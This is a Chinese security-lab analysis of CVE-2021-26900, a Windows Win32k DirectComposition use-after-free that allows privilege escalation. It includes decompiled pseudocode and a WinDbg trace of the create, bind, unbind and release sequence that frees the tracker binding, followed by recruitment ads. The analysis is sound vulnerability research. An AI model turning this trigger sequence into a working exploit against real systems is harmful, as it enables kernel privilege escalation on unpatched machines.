Avscx@卫兵实验室
分析日期
漏洞复现证明截图
影响范围
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
漏洞分析
背 景 资 料
基 础 知 识
enum DCOMPOSITION_COMMAND_ID
{
ProcessCommandBufferIterator,
CreateResource,
OpenSharedResource,
ReleaseResource,
GetAnimationTime,
CapturePointer,
OpenSharedResourceHandle,
SetResourceCallbackId,
SetResourceIntegerProperty,
SetResourceFloatProperty,
SetResourceHandleProperty,
SetResourceHandleArrayProperty,
SetResourceBufferProperty,
SetResourceReferenceProperty,
SetResourceReferenceArrayProperty,
SetResourceAnimationProperty,
SetResourceDeletedNotificationTag,
AddVisualChild,
RedirectMouseToHwnd,
SetVisualInputSink,
RemoveVisualChild
};
NtDCompositionCreateChannel
NtDCompositionProcessChannelBatchBuffer
NtDCompositionCommitChannel
Root Cause Analyze
CreateResource
SetResourceBufferProperty
ReleaseResource
struct CREATE_RESOURCE
{
DComProcessCommandId Command;
ULONG hResource; //Resource ID (a unique number)
ULONG ResourceType;
ULONG bShare;
};
struct SET_BUFFER_PROPERTY
{
DComProcessCommandId Command;
ULONG hResource;
ULONG flag;
ULONG BufferSize;
};
struct RELEASE_RESOURCE
{
DComProcessCommandId Command;
ULONG hResource;
};
if ( !v234 ) // v234 = ResourceType-0x4E-0xA
{
v236 = (DirectComposition::CInteractionTrackerMarshaler *)((__int64 (__fastcall *)(size_t))Win32AllocPoolWithQuotaZInit)(0x1A0ui64);
······
v14 = DirectComposition::CInteractionTrackerMarshaler::CInteractionTrackerMarshaler(v236);
goto LABEL_26;
}
if ( v234 == 1 )
{
v235 = (DirectComposition::CInteractionTrackerBindingManagerMarshaler *)((__int64 (__fastcall *)(size_t))Win32AllocPoolWithQuotaZInit)(0x60ui64);
······
v14 = DirectComposition::CInteractionTrackerBindingManagerMarshaler::CInteractionTrackerBindingManagerMarshaler(v235);
goto LABEL_26;
}
//0x58 == CInteractionTrackerMarshaler
//0x59 == CInteractionTrackerBindingManagerMarshaler
struct CInteractionTrackerBindingManagerMarshaler
{
CInteractionTrackerMarshaler* Tracker1;
CInteractionTrackerMarshaler* Tracker2;
DWORD entry_id;
DWORD flag1;
BYTE flag2;
};
struct CInteractionTrackerMarshaler
{
······
DWORD binding_obj;
};
resource1_id //szBuff[0] = Tracker1;
resource2_id //szBuff[1] = Tracker1;
new_entry_id //szBuff[2] = 0x41414141;
-
Bind Tracker to the TrackerBindingB
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out) {
// ...
// 1. Find tracker pair in tracker list
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
tracker1_id = tracker1->resource_id;
tracker2_id = tracker2->resource_id;
if ( (entry_tracker1->resource_id == tracker1_id && entry_tracker2->resource_id == tracker2_id) ||
(entry_tracker1->resource_id == tracker2_id && entry_tracker2->resource_id == tracker1_id) )
{
// 1-1 If it exists, update entry_id
if ( entry_ptr->entry_id == new_entry_id )
return 0;
// [1] Update entry_id
entry_ptr->entry_id = new_entry_id;
entry_ptr->flag2 = 1;
if ( !new_entry_id )
{
// [2] if the new_entry_id is zero, remove relationship between CInteractionTrackerMarshaler and
// CInteractionTrackerBindingManagerMarshaler "if NECESSARY"
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(binding, resinfo, tracker1_id, tracker2_id);
}
else
{
// Some routine
}
// ...
return 0;
}
}
// 1-2. Add New Entry
// ...
}
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, int resource1_id, int resource2_id) {
if (resource1_id && resource1_id < resinfo->resourceid_max)
tracker1 = *( (resource1_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker1 = NULL;
if(resource2_id && resource2_id < resinfo->resourceid_max)
tracker2 = *( (resource2_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker2 = NULL;
tracker1_exist = false;
tracker2_exist = false;
// Check type of Resources
if ( tracker1 && tracker2 && tracker1->IsOfType(0x58) && tracker2->IsOfType(0x58) )
{
for(int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
tracker1_id = tracker1->resource_id;
tracker2_id = tracker2->resource_id;
// Find the entry
if ( entry_ptr->entry_id ) {
if ( entry_tracker1->resource_id == tracker1_id || entry_tracker2->resource_id == tracker1_id )
tracker1_exist = true;
if ( entry_tracker1->resource_id == tracker2_id || entry_tracker2->resource_id == tracker2_id )
tracker2_exist = true;
}
}
// If there is no other object related with tracker1 or tracker2
// Remove the binding.
if ( !tracker1_exist )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker1, resinfo, 0);
if ( !tracker2_exist )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker2, resinfo, 0);
}
}
0: kd> bl
0 e Disable Clear ffffb598`64db2afd e 1 0001 (0001) win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x49
1 e Disable Clear ffffb598`64f4d510 e 1 0001 (0001) win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty
3 e Disable Clear ffffb598`64f4c0b0 e 1 0001 (0001) win32kbase!DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences
[+] Create First TrackerBinding Resource Object
0: kd> g
Breakpoint 0 hit
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x49:
ffffb598`64db2afd e8daf3ffff call win32kbase!DirectComposition::CLinearObjectTableBase::InsertObject (ffffb598`64db1edc)
0: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=ffffb5b98602fc68
rdx=ffffb5b984c1b450 rsi=ffffb5b984c1b450 rdi=ffffb5b98602fc30
rip=ffffb59864db2afd rsp=ffffb08e12fb88f0 rbp=0000000000000059
r8=0000000000000001 r9=0000000000000000 r10=ffffb5b380001000
r11=ffffb5b982f6fc30 r12=ffffb5b98602fc30 r13=0000000000000001
r14=0000000000000001 r15=ffffb5b98602fc00
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x49:
ffffb598`64db2afd e8daf3ffff call win32kbase!DirectComposition::CLinearObjectTableBase::InsertObject (ffffb598`64db1edc)
0: kd> p
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x4e:
ffffb598`64db2b02 8bd8 mov ebx,eax
1: kd> dps ffffb5b984c1b450 # RDX
ffffb5b9`84c1b450 ffffb598`64f77070 win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::`vftable'
ffffb5b9`84c1b458 00000000`00000000
ffffb5b9`84c1b460 00000001`00000000
ffffb5b9`84c1b468 00000000`00000001
[+] Create Second TrackerBinding Resource Object
1: kd> g
Breakpoint 0 hit
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x49:
ffffb598`64db2afd e8daf3ffff call win32kbase!DirectComposition::CLinearObjectTableBase::InsertObject (ffffb598`64db1edc)
1: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=ffffb5b98602fc68
rdx=ffffb5b984c1b1b0 rsi=ffffb5b984c1b1b0 rdi=ffffb5b98602fc30
rip=ffffb59864db2afd rsp=ffffb08e12fb88f0 rbp=0000000000000059
r8=0000000000000002 r9=0000000000000000 r10=0000ffffb59864e5
r11=ffffb5b982f6fc38 r12=ffffb5b98602fc30 r13=0000000000000001
r14=0000000000000002 r15=ffffb5b98602fc00
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x49:
ffffb598`64db2afd e8daf3ffff call win32kbase!DirectComposition::CLinearObjectTableBase::InsertObject (ffffb598`64db1edc)
1: kd> p
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x4e:
ffffb598`64db2b02 8bd8 mov ebx,eax
1: kd> dps ffffb5b984c1b1b0 # RDX
ffffb5b9`84c1b1b0 ffffb598`64f77070 win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::`vftable'
ffffb5b9`84c1b1b8 ffffb5b9`84c1b450
ffffb5b9`84c1b1c0 00000001`00000000
ffffb5b9`84c1b1c8 00000000`00000002
[+] Create Tracker Resource Object
1: kd> g
Breakpoint 0 hit
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x49:
ffffb598`64db2afd e8daf3ffff call win32kbase!DirectComposition::CLinearObjectTableBase::InsertObject (ffffb598`64db1edc)
0: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=ffffb5b98602fc68
rdx=ffffb5b982fffc20 rsi=ffffb5b982fffc20 rdi=ffffb5b98602fc30
rip=ffffb59864db2afd rsp=ffffb08e12fb88f0 rbp=0000000000000058
r8=0000000000000003 r9=0000000000000000 r10=0000ffffb59864e5
r11=ffffb5b982f6fc40 r12=ffffb5b98602fc30 r13=0000000000000001
r14=0000000000000003 r15=ffffb5b98602fc00
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x49:
ffffb598`64db2afd e8daf3ffff call win32kbase!DirectComposition::CLinearObjectTableBase::InsertObject (ffffb598`64db1edc)
0: kd> p
win32kbase!DirectComposition::CApplicationChannel::CreateResource+0x4e:
ffffb598`64db2b02 8bd8 mov ebx,eax
0: kd> dps ffffb5b982fffc20 # RDX
ffffb5b9`82fffc20 ffffb598`64f76f78 win32kbase!DirectComposition::CInteractionTrackerMarshaler::`vftable'
ffffb5b9`82fffc28 ffffb5b9`84c1b1b0
ffffb5b9`82fffc30 00000001`1dffffc0
ffffb5b9`82fffc38 00000000`00000003
[+] Bind Tracker to the First TrackerBinding
0: kd> g
Breakpoint 1 hit
win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty:
ffffb598`64f4d510 48895c2418 mov qword ptr [rsp+18h],rbx
0: kd> g
Breakpoint 1 hit
win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty:
ffffb598`64f4d510 48895c2418 mov qword ptr [rsp+18h],rbx
0: kd> dps ffffb5b9`82fffc20+0x190 # tracker1->binding_obj
ffffb5b9`82fffdb0 ffffb5b9`84c1b450
ffffb5b9`82fffdb8 00000000`00000000
0: kd> dps poi(ffffb5b9`84c1b450+0x38) # point to struct CInteractionTrackerBindingManagerMarshalerA
ffffb5b9`84d9f010 ffffb5b9`82fffc20
ffffb5b9`84d9f018 ffffb5b9`82fffc20
ffffb5b9`84d9f020 00000000`41414141
ffffb5b9`84d9f028 00000000`00000001
[+] Unbind by setting tracker_id to 0
0: kd> g
Breakpoint 1 hit
win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty:
ffffb598`64f4d510 48895c2418 mov qword ptr [rsp+18h],rbx
0: kd> dps poi(ffffb5b9`84c1b450+0x38) # point to struct CInteractionTrackerBindingManagerMarshalerA
ffffb5b9`84d9f010 ffffb5b9`82fffc20
ffffb5b9`84d9f018 ffffb5b9`82fffc20
ffffb5b9`84d9f020 00000000`00000000
ffffb5b9`84d9f028 00000000`00000001
[+] Bind Tracker to the Second TrackerBinding
0: kd> g
Breakpoint 1 hit
win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty:
ffffb598`64f4d510 48895c2418 mov qword ptr [rsp+18h],rbx
1: kd> dps poi(ffffb5b9`84c1b1b0+0x38) # point to struct CInteractionTrackerBindingManagerMarshalerB
ffffb5b9`806c2010 ffffb5b9`82fffc20
ffffb5b9`806c2018 ffffb5b9`82fffc20
ffffb5b9`806c2020 00000000`42424242
ffffb5b9`806c2028 00000000`00000001
1: kd> dps ffffb5b9`82fffc20+0x190
ffffb5b9`82fffdb0 ffffb5b9`84c1b1b0
ffffb5b9`82fffdb8 00000000`00000000
[+] Activate the Entry by setting tracker_id to Non-ZERO
1: kd> g
Breakpoint 3 hit
win32kbase!DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences:
ffffb598`64f4c0b0 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> dps poi(ffffb5b9`84c1b450+0x38) # point to struct CInteractionTrackerBindingManagerMarshalerA
ffffb5b9`84d9f010 ffffb5b9`82fffc20
ffffb5b9`84d9f018 ffffb5b9`82fffc20
ffffb5b9`84d9f020 00000000`41414141
ffffb5b9`84d9f028 00000000`00000001
[+] Release Tracker Resource Object
[+] Release the Second TrackerBinding Object
0: kd> gu
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
win32kbase!DirectComposition::CApplicationChannel::ReleaseResource+0x124:
ffffb598`64db3ce4 90 nop
0: kd> dps poi(ffffb5b9`84c1b1b0+0x38) # point to struct CInteractionTrackerBindingManagerMarshalerB
ffffb5b9`806c2010 00000000`00000000
ffffb5b9`806c2018 00000000`00000000
ffffb5b9`806c2020 00000000`00000000
0: kd> dps poi(ffffb5b9`84c1b450+0x38) # point to struct CInteractionTrackerBindingManagerMarshalerA
ffffb5b9`84d9f010 ffffb5b9`82fffc20
ffffb5b9`84d9f018 ffffb5b9`82fffc20
ffffb5b9`84d9f020 00000000`41414141
ffffb5b9`84d9f028 00000000`00000001
0: kd> dps ffffb5b9`82fffc20+0x190 # tracker1->binding_obj Freed
ffffb5b9`82fffdb0 00000000`00000000
ffffb5b9`82fffdb8 00000000`00000000
ffffb5b9`82fffdc0 6f746547`231bd700
验证视频
写在最后
官方补丁
人才招聘
岗位职责:
- 负责研究Window内核相关漏洞利用技术;
- 负责分析Window内核漏洞的原理及缓解措施;
任职要求:
- 2年以上windows逆向工作经验。
- 熟悉windows底层架构、运行机制,熟悉汇编语言 C/C++语言,熟悉win32/64开发,并有相关开发经验;
- 熟悉windows驱动开发、熟悉windows平台内核架构;能熟练运用Windows平台下的软件调试方法。
- 熟练使用ida、windbg等调试软件工具调试分析漏洞。
- 有CVE编号、内核研究成果者优先;
- 具备良好的团队沟通、协作能力、良好的职业道德。
岗位职责:
- 负责研究Linux内核相关漏洞利用技术;
- 负责分析Linux内核漏洞的原理及缓解措施;
任职要求:
- 2年以上Linux逆向工作经验。
- 熟悉Linux底层架构、运行机制,熟悉汇编语言 C/C++语言,熟悉x86/64开发,并有相关开发经验;
- 熟悉Linux驱动开发、熟悉Linux平台内核架构;能熟练运用Linux平台下的软件调试方法。
- 熟练使用ida、gdb、lldb等调试软件工具调试分析漏洞。
- 有CVE编号、内核研究成果者优先;
- 具备良好的团队沟通、协作能力、良好的职业道德。
岗位职责:
- 负责安全技术研究,跟踪国内外最新的安全技术以及安全漏洞的追踪;
- 负责进行二进制漏洞挖掘,包括不限于浏览器、chakara引擎、js引擎、office、pdf等等各种二进制类应用;
任职要求:
- 能主动关注国内外最新安全攻防技术,并在自己擅长和兴趣的领域能够进行深入的学习、研究;
- 熟练掌握windbg、ida、gdb等调试工具;
- 熟悉各类二进制安全漏洞原理(堆溢出、栈溢出、整数溢出、类型混淆等等)以及各种利用技术;
- 能够无障碍阅读英文技术文档;
- 具备良好的团队沟通、协作能力、良好的职业道德。
岗位职责:
- 跟踪最新安全技术动态,对高危安全漏洞进行快速分析和响应;
- 负责安全产品的线下、线上功能及流程的验收测试,保证项目进度和品质;
- 从事影响比较大的国内外大型的cms、中间件、框架漏洞挖掘工作
任职要求:
- 深入了解漏洞原理,能够独立挖掘/分析包括但不限于PHP/JAVA/.NET/ASP等大中型应用漏洞,并编写exp;
- 具备优秀的JAVA开发能力,能熟练挖掘 JAVA WEB 方面的漏洞,深入了解tomcat,weblogic,jboss,resin等中间件内部构造;
- 熟练使用至少一门开发语言,如:PHP、python、java;
- 有比较强的开发能力,熟悉java web的常见漏洞原理,有能力挖掘和分析java web方面的漏洞;
- 有重大漏洞发掘或高质量的CVE、0day挖掘能力的优先考虑;
岗位职责:
- 安全攻防技术研究,最新web应用及中间件漏洞挖掘研究;
- 跟踪分析国内外的安全动态,对重大安全事件进行快速响应;
- 针对相关产品,进行全面详细的安全测试评估;
任职要求:
- 了解常见的网络协议(TCP/IP,HTTP,FTP等);
- 熟练使用Wireshark等抓包工具,熟悉正则表达式;
- 掌握常见漏洞原理,有一定的漏洞分析能力;
- 具备php、python、java或其他相关语言编码能力;
- 对常见waf绕过有一定的基础经验;
- 具备一定的文档编写能力,具备良好的团队共同能力;
- 对安全有浓厚的兴趣,工作细致耐心。
本文始发于微信公众号(安恒信息安全研究院):Microsoft Windows Win32k 提权漏洞分析(CVE-2021-26900)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论